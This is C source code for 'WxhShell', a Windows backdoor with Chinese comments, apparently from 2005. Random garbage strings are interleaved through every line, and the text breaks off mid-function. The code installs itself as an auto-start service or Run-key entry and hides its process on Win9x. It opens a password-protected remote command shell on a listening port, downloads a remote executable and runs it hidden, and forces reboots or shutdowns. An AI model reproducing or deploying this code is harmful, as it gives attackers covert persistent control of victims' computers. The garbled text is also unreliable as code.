$.Q>M]xH HANDLE hProcess; R G0S PROCESS_BASIC_INFORMATION pbi; Afy .3T @) n5+S" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (y~laW! if(NULL == hInst ) return 0; MATgJ`lsy !3I(4?G, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); daB l%a= g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8HFXxpt[G NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -*%!q$: 6UW:l|}4#2 if (!NtQueryInformationProcess) return 0; 9Ue7
~"= uR:=V9O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yi&-m} if(!hProcess) return 0; m
io1kDq< =^Sw*[eiy if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bhu@ 2KdA w;c#drY7S CloseHandle(hProcess); E
{KS a z_Wm
HB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Yn4)Zhkk if(hProcess==NULL) return 0; ,<$YVXe/ n{^<&GWox HMODULE hMod; (7;J"2M char procName[255]; h;%i/feFg unsigned long cbNeeded; slge+xq\J j!x<QNNX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J-tq8 p:JRQT"A CloseHandle(hProcess); hD6JW- L$lo~7<] if(strstr(procName,"services")) return 1; // 以服务启动 *Mwfod #dZ/UM(u return 0; // 注册表启动 M'umoZmW0 } QJ#u[hsMFp &nqdl+|G* // 主模块 w|}W(=# int StartWxhshell(LPSTR lpCmdLine) \5'O.*pr { =a)iVXSB] SOCKET wsl; I z}2
^ BOOL val=TRUE; +urS5c*
j int port=0; (Ffb&GL struct sockaddr_in door; /v"6BU Kc%n(,+%" if(wscfg.ws_autoins) Install(); ovd^,?ib 5pRY&6So port=atoi(lpCmdLine); ua`6M z;dcAdz9 if(port<=0) port=wscfg.ws_port; k,,!P"" 731h
~x!u WSADATA data; psIkG0
& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hz}+SAZ &Y,Q>bu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +{xMIl_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G{kj}>kS_ door.sin_family = AF_INET; ^:4L6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Sth:{; door.sin_port = htons(port); uxa=KM1H Q[J [= if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k42b:W5% closesocket(wsl); ytjK++(T5 return 1; ~`t%M?l } qyg*n>nt atY*8I| if(listen(wsl,2) == INVALID_SOCKET) { 61/)l0<; closesocket(wsl); ybZ} return 1; ]alh_U } [_WI8~gY Wxhshell(wsl); g4N%PV8 WSACleanup(); Z-(} l2\ s$DGd
T) return 0; i2$*}Cu NW{y%Z } 6Z~Ya\~.g. >0PUWr$8 // 以NT服务方式启动 f.||PH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LthGZ|> { Dd| "iA DWORD status = 0; 0VzXDb>` DWORD specificError = 0xfffffff; nQ5N=l 7p)N_cJD serviceStatus.dwServiceType = SERVICE_WIN32; Rl_.;?v"! serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8+"10q- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /61by$E serviceStatus.dwWin32ExitCode = 0; LGIalf*7 serviceStatus.dwServiceSpecificExitCode = 0; "hWJ3pi{o{ serviceStatus.dwCheckPoint = 0; 0 Tcz[$? serviceStatus.dwWaitHint = 0; 2;:lK" : {Q)dU-\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CN7k?JO< if (hServiceStatusHandle==0) return; Q0pzW:=s] (cvh3', status = GetLastError(); ^J8uhV;w if (status!=NO_ERROR) 6m9 7_NRO { #2 \8?UPd serviceStatus.dwCurrentState = SERVICE_STOPPED; H(G!t`K serviceStatus.dwCheckPoint = 0; %a5t15 9 serviceStatus.dwWaitHint = 0; ?*[\UC serviceStatus.dwWin32ExitCode = status; Oe/6.h? serviceStatus.dwServiceSpecificExitCode = specificError; vQUZVq5M SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iz#yQ` return; %yp5DD}| } NZ>7dJ CoU3S,;* serviceStatus.dwCurrentState = SERVICE_RUNNING; }2lO _i}L serviceStatus.dwCheckPoint = 0; ;SgD 5Ln} serviceStatus.dwWaitHint = 0; "Y7+{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {AOG"T&< } Yp*,Jp1 WSQ[.C // 处理NT服务事件,比如:启动、停止 Y
%K~w VOID WINAPI NTServiceHandler(DWORD fdwControl) R'SBd}1 { ,eDD:#)$} switch(fdwControl) wX ,h<\7 { Y+g,pX case SERVICE_CONTROL_STOP: .(|+oHg< serviceStatus.dwWin32ExitCode = 0; BDy5J2<<7l serviceStatus.dwCurrentState = SERVICE_STOPPED; tQrS3Hz'nA serviceStatus.dwCheckPoint = 0; B/mYoK serviceStatus.dwWaitHint = 0; /|GT\X4o { KbAR_T1n SetServiceStatus(hServiceStatusHandle, &serviceStatus); MM#i t=u } mzGjRl=O return; G$C}?"l case SERVICE_CONTROL_PAUSE: ;7rd;zJ serviceStatus.dwCurrentState = SERVICE_PAUSED; 4QE=f(u;h break; 7{pIPmJ case SERVICE_CONTROL_CONTINUE: 7rcA[)<' serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ Hg/P8q break; ;o[rQ6+ case SERVICE_CONTROL_INTERROGATE: 1 tPVP break; 87i" }; f ba&` SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0x@A~!MoP } p*
RC icE|.[ // 标准应用程序主函数 .s2$al int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ry z?v<)h { +3;Ody"59 g:_hj_1Y M // 获取操作系统版本 ;1 |x OsIsNt=GetOsVer(); ~^&R#4J GetModuleFileName(NULL,ExeFile,MAX_PATH); GP+2/D TnNWO+kg // 从命令行安装 HY ;9?KJ' if(strpbrk(lpCmdLine,"iI")) Install(); o)&"Rf gfde#T)S // 下载执行文件 ?`"n3!>bS if(wscfg.ws_downexe) { 8Atq,GcG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jH>8bXQqZ WinExec(wscfg.ws_filenam,SW_HIDE); &vkjmiAS } ;L~p|sF }3Y
<$YL"R if(!OsIsNt) { _A{+H^, // 如果时win9x,隐藏进程并且设置为注册表启动 r<c #nD~K HideProc(); :"<e0wDu[ StartWxhshell(lpCmdLine); @'i+ff\ } ;F5"}x else <~{du ?4n if(StartFromService()) *%\mZ,s" // 以服务方式启动 S/4r\6 StartServiceCtrlDispatcher(DispatchTable); @vRwzc\ else ]78!!G[` // 普通方式启动 pYo=oI StartWxhshell(lpCmdLine); KVR~jF% XA<ozq' return 0; XJgh>^R^ } h?Nek+1' *%!M4&
l{$[}< GqLq gns =========================================== r\2vl8X~ 7 Wl-n ~$<UE}qp :et#0! =dzWmL<~8 $DebXxJw0l " 4w4^yQE khx.yRx #include <stdio.h> c.%.\al8oW #include <string.h> XF*.Jg] #include <windows.h> 2&he($HIzg #include <winsock2.h> KjYAdia:H #include <winsvc.h> ;3"@g]e #include <urlmon.h> VUtXxvH <T+!V-Pj* #pragma comment (lib, "Ws2_32.lib") &!L:"]=+ #pragma comment (lib, "urlmon.lib") #.._c?%4/ Y$<D9fs3 #define MAX_USER 100 // 最大客户端连接数 pKT2^Q}-h #define BUF_SOCK 200 // sock buffer ]Gv!M?: #define KEY_BUFF 255 // 输入 buffer ; s|w{.<: eC! #CK #define REBOOT 0 // 重启 -*B`] #define SHUTDOWN 1 // 关机 ?9mkRd}c (R*j|HAw`X #define DEF_PORT 5000 // 监听端口 8'#/LA[uPe .cDOl_z<:G #define REG_LEN 16 // 注册表键长度 ~"K,7sw!Y #define SVC_LEN 80 // NT服务名长度 O
o8qyW +=BAslk // 从dll定义API ;65D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y(W|eBe typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZU{4lhe typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9GU]l7C=z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e6E?t[hEeS
4!.(|h@ // wxhshell配置信息 ,q#0hy%5/ struct WSCFG { 2`?!+") int ws_port; // 监听端口 0w=R_C)s char ws_passstr[REG_LEN]; // 口令 W!T"m)S int ws_autoins; // 安装标记, 1=yes 0=no Jr;jRe`4c char ws_regname[REG_LEN]; // 注册表键名 ,7_4z]jK char ws_svcname[REG_LEN]; // 服务名 % 0T+t. char ws_svcdisp[SVC_LEN]; // 服务显示名 #_i`#d) char ws_svcdesc[SVC_LEN]; // 服务描述信息 #8XL
:I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k@dN$O%p int ws_downexe; // 下载执行标记, 1=yes 0=no 7f{=w,
U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ZI'|Ad char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;# uZhd 5!X1G8h)uy }; ?6^|ZtB T,%j\0 // default Wxhshell configuration K`g7$r)U[ struct WSCFG wscfg={DEF_PORT, 3g~'5Ao "xuhuanlingzhe", _S}A=hK' 1, `aC){&AP( "Wxhshell", . pzC5Ah "Wxhshell", z (?=Iv3 "WxhShell Service", m
ci/'b Xt "Wrsky Windows CmdShell Service", -7
U|a/ "Please Input Your Password: ", 3qL>-%):* 1, "N?+VkZEv "http://www.wrsky.com/wxhshell.exe", u #w29Pm "Wxhshell.exe" (kv?33 }; v'!a\b`9 N$>^g"6o // 消息定义模块 aj^wRzJ}zA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P!G858V( char *msg_ws_prompt="\n\r? for help\n\r#>"; 0Hxmm@X2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jho**TQ P char *msg_ws_ext="\n\rExit."; Om;&_!i char *msg_ws_end="\n\rQuit."; !%)F J:p char *msg_ws_boot="\n\rReboot..."; |yEa5rd?W char *msg_ws_poff="\n\rShutdown..."; BZ54*\t char *msg_ws_down="\n\rSave to "; {X(:jAy `-h8vj5uG char *msg_ws_err="\n\rErr!"; Vw|| !d char *msg_ws_ok="\n\rOK!"; m,UGWR :a
->0 l char ExeFile[MAX_PATH]; pi<TFe@eG int nUser = 0; anMF-x4/*q HANDLE handles[MAX_USER]; jRSUp
E8 int OsIsNt; }|u4 W?H , EGQ@:3/ SERVICE_STATUS serviceStatus; KGH/^!u+R SERVICE_STATUS_HANDLE hServiceStatusHandle; y){
k3lm0 :L44]K5FL // 函数声明 mpPdG int Install(void); u_(VEfs4 int Uninstall(void); Od4E x;F int DownloadFile(char *sURL, SOCKET wsh); [Zei0O int Boot(int flag); ia\eLzj void HideProc(void); E;JsBH int GetOsVer(void); +LM#n#T int Wxhshell(SOCKET wsl); bef_rH@` void TalkWithClient(void *cs); u!"t!2I int CmdShell(SOCKET sock); _8Kx6s% int StartFromService(void); NS%WeAf int StartWxhshell(LPSTR lpCmdLine); (bsXo
q n8*;lK8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6KpHnSW VOID WINAPI NTServiceHandler( DWORD fdwControl ); h3LE>}6D /x_o!<M // 数据结构和表定义 S4=~`$eP SERVICE_TABLE_ENTRY DispatchTable[] = z 9FfU { T}V!`0vKw {wscfg.ws_svcname, NTServiceMain}, x=ul&|^7D {NULL, NULL} qlL`jWJ }; sl]_M R"
;xvo* // 自我安装 ; ;L[e]Z int Install(void) 1
$/%m_t { .pvi!NnL- char svExeFile[MAX_PATH]; &boOtl^
HKEY key; Hemq+]6^ strcpy(svExeFile,ExeFile); 5R(/Uiv3F \,u_7y2 c // 如果是win9x系统,修改注册表设为自启动 sZx/Ee if(!OsIsNt) { {&jb5-*f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ne4Q#P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'nXl> RegCloseKey(key); C(00<~JC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S30?VG9U0f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z.92y RegCloseKey(key); UrqRx?# return 0; +=O5YR!{ } 7;KwLT 9 } zIh['^3.n } T6 '`l?H`; else { bbrXgQ`s+w c-B
cA // 如果是NT以上系统,安装为系统服务 ^$b Y,CE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WZ.@UN, if (schSCManager!=0) zuUW|r { !o:f$6EA~C SC_HANDLE schService = CreateService ]H`1F1= ( 6@rMtQfI schSCManager, XUz3*rfs wscfg.ws_svcname, bD/~eIcWL wscfg.ws_svcdisp, 3AU;>D ^5 SERVICE_ALL_ACCESS, Kx>qz.wwI? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9WyAb3d' SERVICE_AUTO_START, mIK7p6 SERVICE_ERROR_NORMAL, _f$^%?^ svExeFile, a!=D [Gz*5 NULL, BO;6
u^[ NULL, ;7}VBkH NULL, r"P|dlV- NULL, KET2Ws[w NULL r>o63Q: ); D)L+7N0D~ if (schService!=0) [ucpd { '.:z&gSqx0 CloseServiceHandle(schService); 6}d.5^7lr CloseServiceHandle(schSCManager); o,_?^'@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E*]bgD7V strcat(svExeFile,wscfg.ws_svcname); a{L
d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xu%'Z".>: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MF5[lK9e RegCloseKey(key); wB.&}p9p return 0; jPUwSIP } |5lk9<z } be.*#[ CloseServiceHandle(schSCManager); E=nIRG|g } s.$3j$vT 8 } sS*3=Yh E7rDa1 return 1; 4 o Fel.o } h&KO<> j0oR)du // 自我卸载 k$blEa4 int Uninstall(void) sB7#
~pA { Zy`m!]G]80 HKEY key; .%xn&3 A1O'|7X if(!OsIsNt) { MN\HDKN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >T^;MS RegDeleteValue(key,wscfg.ws_regname); =l+yA>t| RegCloseKey(key); [_k1jHr48N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2LF/H$]o5 RegDeleteValue(key,wscfg.ws_regname); \NPmym_6J RegCloseKey(key); .P8&5i)'P, return 0; T;r2.Pupn } ;ub;lh 3 } +S o4rA*9 } Ayxkv)%:@) else { ZOh`(})hy QIG$z?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EJMM9(DQ7 if (schSCManager!=0) 0XE4<U { vS;RJg= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %)1y AdG
8 if (schService!=0) CsGx@\jN { >;e~ WF>+K if(DeleteService(schService)!=0) { Kp%2k^U CloseServiceHandle(schService); G<65H+)M\ CloseServiceHandle(schSCManager); >qnko9 V return 0; wW>A_{Y } M:Pc, CloseServiceHandle(schService); xF!,IKlBBp } LSL/ZvSP CloseServiceHandle(schSCManager);
akp-zn&je } =$'6(aDH } >mwlsL~X 0"<H;7K#W return 1; V?6a8lJ } oB(?_No7 ,Vc6Gwm // 从指定url下载文件 wr$("A( int DownloadFile(char *sURL, SOCKET wsh) oH97=> { ,wQ5.U, HRESULT hr; J,'M4O\S char seps[]= "/"; 'j#*6xD char *token; C0T;![/4A char *file; p|U?86t char myURL[MAX_PATH]; &6/[B_. char myFILE[MAX_PATH]; 9+Np4i@ Cio
1E-4 strcpy(myURL,sURL); rBQ _iB_ token=strtok(myURL,seps); 0q()|y?} while(token!=NULL) }T(D7|^R { UXJeAE- file=token; &*M!lxDN token=strtok(NULL,seps); =W(Q34 } n\mO6aJ (S>C#A=E\ GetCurrentDirectory(MAX_PATH,myFILE); ,0M_Bk" strcat(myFILE, "\\"); V(H1q`ao9 strcat(myFILE, file); o_izl\ send(wsh,myFILE,strlen(myFILE),0); B-*+r`@Bd send(wsh,"...",3,0); Vh|*p& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^UP`%egR if(hr==S_OK) *7uH-u"5d return 0; P78g/p T else @ a! #G return 1; Dj"F\j 1 Wf+cDpK } $0W|26; g2+2%6m0 // 系统电源模块 n1Yp1"2b[ int Boot(int flag) h79}qU { Ouk^O}W6 HANDLE hToken; q}3`|'3 TOKEN_PRIVILEGES tkp; rDdoOb]B x[
SDl(<@; if(OsIsNt) { 7`*h2 mgY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ROH|PKb7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {:/#Nc$5 tkp.PrivilegeCount = 1; IPS4C[v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{A(x
}'Y4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^um<bWNc if(flag==REBOOT) { T^zXt? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~nmoz/L return 0; &l}^iP'%! } R)c?`:iUB else { /2&c$9=1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LQ@"Xe]5 return 0; XY5K%dMU } 'p^t^=dQ } \[;0KV_ else { 5?f ^Rz if(flag==REBOOT) { Akq2 d; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fBU`k_ return 0; tm|ZBM } z<MsKD0Q else { [*Z;\5&P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) = }~hWL return 0; +Q/R{#O } =O~_Q- } em y[k bTI|F]^! return 1; ?>VLTp8] } dB{Q"! 1y:-N6 // win9x进程隐藏模块 W8G,=d}6 void HideProc(void) FUiRTRIYe { Pd8![Z3 8=!D$t\3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0-B5`=yU if ( hKernel != NULL ) XgZD%7 { 4j* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u2tfF ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lqy Qf$t FreeLibrary(hKernel); 21n?=[ } v_yw@ t$` r4Lb9/ return; &j;wCvE4+ } ez7A4>/ R8K&R\
// 获取操作系统版本 %:i7s-0w int GetOsVer(void) ;xy"\S] { &1Ok`_plO OSVERSIONINFO winfo; )j6~Wy@4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]>!K3kB GetVersionEx(&winfo); }H53~@WP> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %mW{n8W3{ return 1; 59LG{R2 else p#-Z4- ` return 0; 28-RC>,@} } {$oj.V 4 9gW|}&- // 客户端句柄模块 e+EQ]<M int Wxhshell(SOCKET wsl) 'B|JAi? { ?d* z8w SOCKET wsh; @@f"%2ZR[ struct sockaddr_in client; GC-5X`Sq DWORD myID; GblA9F7 Y/F6\oh while(nUser<MAX_USER) -E[Kml~U { I^.Om]) int nSize=sizeof(client); O2V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Cp\6W[2+B if(wsh==INVALID_SOCKET) return 1; Z{*\S0^ST & l<.X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YP oSRA L if(handles[nUser]==0) aj='b.2) closesocket(wsh); &$+AXzn else ,~U>'&M; nUser++; !|(-=2` } n9\TO9N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G/E+L-N#` KYm0@O>; return 0; p
T?}Kc } hE{K=Tz$ m!!/Za // 关闭 socket X0HZH?V+ void CloseIt(SOCKET wsh) hPB9@hT$ { 70d 1ReQ closesocket(wsh); hgG9m[?K nUser--; :
$1?i) ExitThread(0); 8S
TvCH"Z_ } 2k~l$p>CN! sI=xl // 客户端请求句柄 AYBns]! void TalkWithClient(void *cs) #^0R&) T { VD*6g%p .^`{1% SOCKET wsh=(SOCKET)cs; ~12EQacOT char pwd[SVC_LEN]; 9cbd~mM{ char cmd[KEY_BUFF]; "Fr.fhh'~ char chr[1]; ~ah~cwmpS int i,j; B`)BZ,#p >58YjLXb while (nUser < MAX_USER) { dFxIF;C>/ DeVv4D:}@ if(wscfg.ws_passstr) { ),%%$G\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K8|r&`X0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q>_.[+6 //ZeroMemory(pwd,KEY_BUFF); XSB"{H>& i=0; 6_o*y8s. while(i<SVC_LEN) { 5vQHhwO50k s[>,X#7 y // 设置超时 XT%nbh&y fd_set FdRead; P;.W+WN struct timeval TimeOut; <d Wv?<o FD_ZERO(&FdRead); +HpA:]#Y FD_SET(wsh,&FdRead); tU5zF.% TimeOut.tv_sec=8; 'ZF{R3Xu TimeOut.tv_usec=0; 4i;{!sT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wtd/=gmiI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &J]K3w1p Pbn*_/H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \!X8
pwd=chr[0]; VBlYvZ;$* if(chr[0]==0xd || chr[0]==0xa) { t.y2ff<[U pwd=0; H7Rx>h_ break; ?=msH=N<l } /U*C\ xMm i++; DCO\c9 } `g?Negt\v W+c<2?d: // 如果是非法用户,关闭 socket xj)F55e? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F{e@W([ } (S5R!lpO u@)U"FZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a5"D @E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C==hox7b ;4\2.*s while(1) { a5^]20Fa jRlYU`? ZeroMemory(cmd,KEY_BUFF); 7aRi5 x_}:D *aI // 自动支持客户端 telnet标准 PdFKs+Z` j=0; qA7>vi% while(j<KEY_BUFF) { k"%~"9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K7B/s9/xs cmd[j]=chr[0]; |Zpfq63W if(chr[0]==0xa || chr[0]==0xd) { *;slV3 cmd[j]=0; +o{R _ break; M/'sl; } [S%_In j++; O63<AY@ } 2wg5#i )EuvRLo{S7 // 下载文件 uAq~=)F>, if(strstr(cmd,"http://")) { ua$GNm send(wsh,msg_ws_down,strlen(msg_ws_down),0);
x+:UN'"r if(DownloadFile(cmd,wsh)) mDABH@R send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4}yKjW%z else n,(sBOQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >8^
$ [}w } R?|.pq/Ln else { nNV'O(x} =:Fc;n>c<K switch(cmd[0]) { Fnv;^}\z }eU*(
}<^
// 帮助 ~
'cmSiz- case '?': { xh,qNnGGi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^zmG0EH, break; (Z q/ } jD]~ AwRJ // 安装 6I4\q.^qw case 'i': { ]@c+]{ if(Install()) x"=f+Mr send(wsh,msg_ws_err,strlen(msg_ws_err),0); wk D^r(hiH else r'r%w#=`t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jXx<`I+] break; Yui3+}Ms } F#Ryu~," // 卸载 3{64 @s case 'r': { {X+3;& |